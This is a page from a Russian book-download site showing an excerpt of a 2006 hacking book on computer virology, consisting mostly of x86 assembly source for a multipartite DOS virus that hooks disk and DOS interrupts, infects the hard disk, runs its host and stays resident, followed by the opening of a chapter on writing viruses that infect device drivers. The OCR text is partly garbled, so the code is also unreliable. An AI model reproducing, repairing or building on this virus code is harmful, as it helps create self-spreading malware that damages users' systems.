Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 89 90 91 92 93 94 < 95 > 96 97 98 99 100 101 .. 123 >> Следующая

инфицировать жесткий диск, инсталлируя перехватчики int 13h и int 21h, а
затем передавая контроль программе-жертве.
STARTJEXE:
mov bx,OFFSET BBS ;расчет значения для переноса сегмента mov cl,4
shr bx.cl ;вычитаемое находится в ах mov ax.cs sub ax.bx
push ax ;готовимся к retf в правильный сегмент:офсет mov bx,OFFSET
RELOCATE push bx
ПЛ-4
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
retf ;прыжок к RELOCATE
RELOCATE:
mov ax.cs ;фиксируем сегменты
mov ds.ax
mov [LOWMEM],1 устанавливаем эти переменные для
mov [НООК21],1 ;ЕХЕ-основанного выполнения
mov ах,75А9Н ;подделываем DOS-вызов
int 13h ;и смотрим, имеется ли здесь вирус
jc INSTALL_VIRUS ;нет, инсталлировать его
RET TO HOST: ;иначе, передать контроль жертве
mov ax.es ;получить PSP
add ах, ЮН ;ах=указатель перемещения
add WORD PTR [HOSTC+2],ax перемещаем cs и ss жертвы
add [HOSTS],ax
cli
mov ax, [HOSTS] устанавливаем стек жертвы
mov ss.ax
mov ax,[HOSTS+2]
mov sp.ax
push es устанавливаем ds=PSP
pop ds
sti
jmp DWORD PTR cs: [HOSTC] ; прыгаем к жертве INSTALL_VIRUS:
push es ;сохраняем адрес PSP
xor ax,ax mov es,ax
mov bx,0FFH*4 сохраняем вектор int OFFH mov ax,es:[bx]
mov WORD PTR [OLD_FFH],ax
ГЛАВА 7. Многоцелевые вирусы
mov ax.es: [bx+2]
mov WORD PTR [OLD_FFH+2],ax
mov es:[bx],0A4F3H {помещаем здесь "rep movsb"
mov BYTE PTR es:[bx+2],ОСВН помещаем здесь "retf"
mov si,OFFSET BBS ;ds:si указывает на начало вируса
pop es
mov di, 100H ;es:di указывает на место, куда мы хотим поместить его mov
ax.es
mov dx,OFFSET BBS - 100H mov cl,4 shr dx.cl
sub ax.dx {расчет сегмента для ret
mov cx,OFFSET ENDCODE - OFFSET BBS ;size to move
push ax ; PSP:OFFSET DOJNSTALL в стеке
mov ax,OFFSET DOJNSTALL
push ax
xor ax,ax вектора int FFH push ax ;в стек mov ax,0FFH*4 push ax
retf {прыгаем к коду в векторе int FF
DOJNSTALL: {теперь мы действуем в новой локации
push cs pop ds li
mov ax.cs .перемещаем стек mov ss.ax
mov sp,OFFSET ENDCODE+ 400H
Sti
xor ax,ax mov es.ax
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov ах,WORD PTR [OLD_FFH] восстанавливаем вектор int FFH mov es:[bx],ax
mov ax,WORD PTR [OLD_FFH+2] mov es:[bx+2],ax
mov ah, 13H ;используем это для перехвата int 13h
mov dx,OFFSET INT_13H ;на низком уровне
mov bx,dx int 2Fh
mov WORD PTR cs:[OLDJ3H],dx ;сохраняем здесь старый вектор mov WORD PTR
cs:[OLD_13H+2],ds
push cs pop es push cs pop ds
call IS_HARD_THERE ;смотрим, существует ли жесткий диск jz INSTJNTR ;нет
жесткого диска, инсталлировать int mov ах,201Н
mov bx,OFFSET SCRATCHBUF mov cx,1 mov dx,80H pushf
call DWORD PTR [OLD_13H] jc INSTJNTR ;ошибка при чтении, инсталлировать
int call IS_VBS ;смотрим, С: инфицирован? jz INST_INTR ;да, загрузка
выполнена call INFECT_HARD ;иначе, инфицировать жесткий диск С:
INSTJNTR: хог ах,ах mov ds.ax
ГЛАВА 7. Многоцелевые вирусы
mov si,21 Н*4 {сохраняем старый вектор int 21 h
mov di,OFFSET OLD_21H
movsw
movsw
mov ds:[si-4],OFFSET INT_21H ;и инсталлируем новый
mov ds:[si-2],cs
push cs
pop ds
mov ah,62H
int 21 h ;снова устанавливаем es=PSP mov es.bx
mov bx,OFFSET ENDCODE -OFFSET BBS + 500H mov cl,4
shr bx.cl {меняем размер памяти inc bx
mov ah,4AH {готовимся для DOS EXEC
int 21 h
mov bx,2CH
mov es.es:[bx] {получаем сегмент окружения
xor di.di
mov cx,7FFFH
xor at,at
ENVLP:
repnz scasb {сканируем окружение
cmp BYTE PTR es:[di],al {двойное зеро? loopnz ENVLP ;нет, продолжаем
поиск до конца
mov dx.di
add dx,3 ;es:dx=3To путь программы
mov [EXEC_BLK],es {устанавливаем сегмент окружения
push es
ooc
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
pop ds ;ds=cemeHT окружения
mov ah,62H
int 21 h ;снова устанавливаем es=PSP
mov es,bx
mov cs: [EXEC_B LK+4], es mov cs:tEXEC_BLX+8],es mov cs:[EXEC_BLK+l2],es
push cs
pop es ;es=3T0 сегмент
mov ax,4B00H ;готовимся для DOS EXEC
mov bx,OFFSET EXEC_BLK ;данные для EXEC
int 21 h ;DOS EXEC -= выполняем жертву
push ds pop es
mov ah,49H свободная память из EXEC
int 21 h
mov ah,4DH -.получаем возврат кода от жертвы
int 21 h
mov ah,31H ;OK, готовимся к.TSR
mov dx,OFFSET ENDCODE - OFFSET BBS + 100H mov cl,4 shr dx.cl
inc dx ;расчет оставшегося размера
int 21 h ;машем ручкой на прощание;
OLD_FFH DD ? ;область хранения для вектора int FF EXEC_BLK DW ?
DW 80H.0 DW 5CH.0 DW 6CH.0
ЛАЛ
Глава 8. Инфицирование драйверов устройств
Вирусы COM, EXE и загрузочного сектора также могут инфицировать SYS-
файлы. Данный тип заражения не очень важен для благополучия вирусов. Люди
делятся SYS-файлами гораздо реже, чем COM, EXE и дисками. Но мы с вами
изучаем возможности компьютерной вирусологии и не можем пройти мимо
инфицирования драйверов устройств.
Давайте рассмотрим эту тему немного под другим углом. Допустим, вы
работаете в одном из армейских штабов и создаете SYS-инфицирующий вирус,
потому что антивирусы врагов имеют брешь в этом направлении. Как вам
лучше выполнить задание?
Шаг первый: структура файла
Первым шагом в написании вируса, когда вы ничего не знаете о файловой
структуре, которую собираетесь инфицировать, будет изучение этой файловой
Предыдущая << 1 .. 89 90 91 92 93 94 < 95 > 96 97 98 99 100 101 .. 123 >> Следующая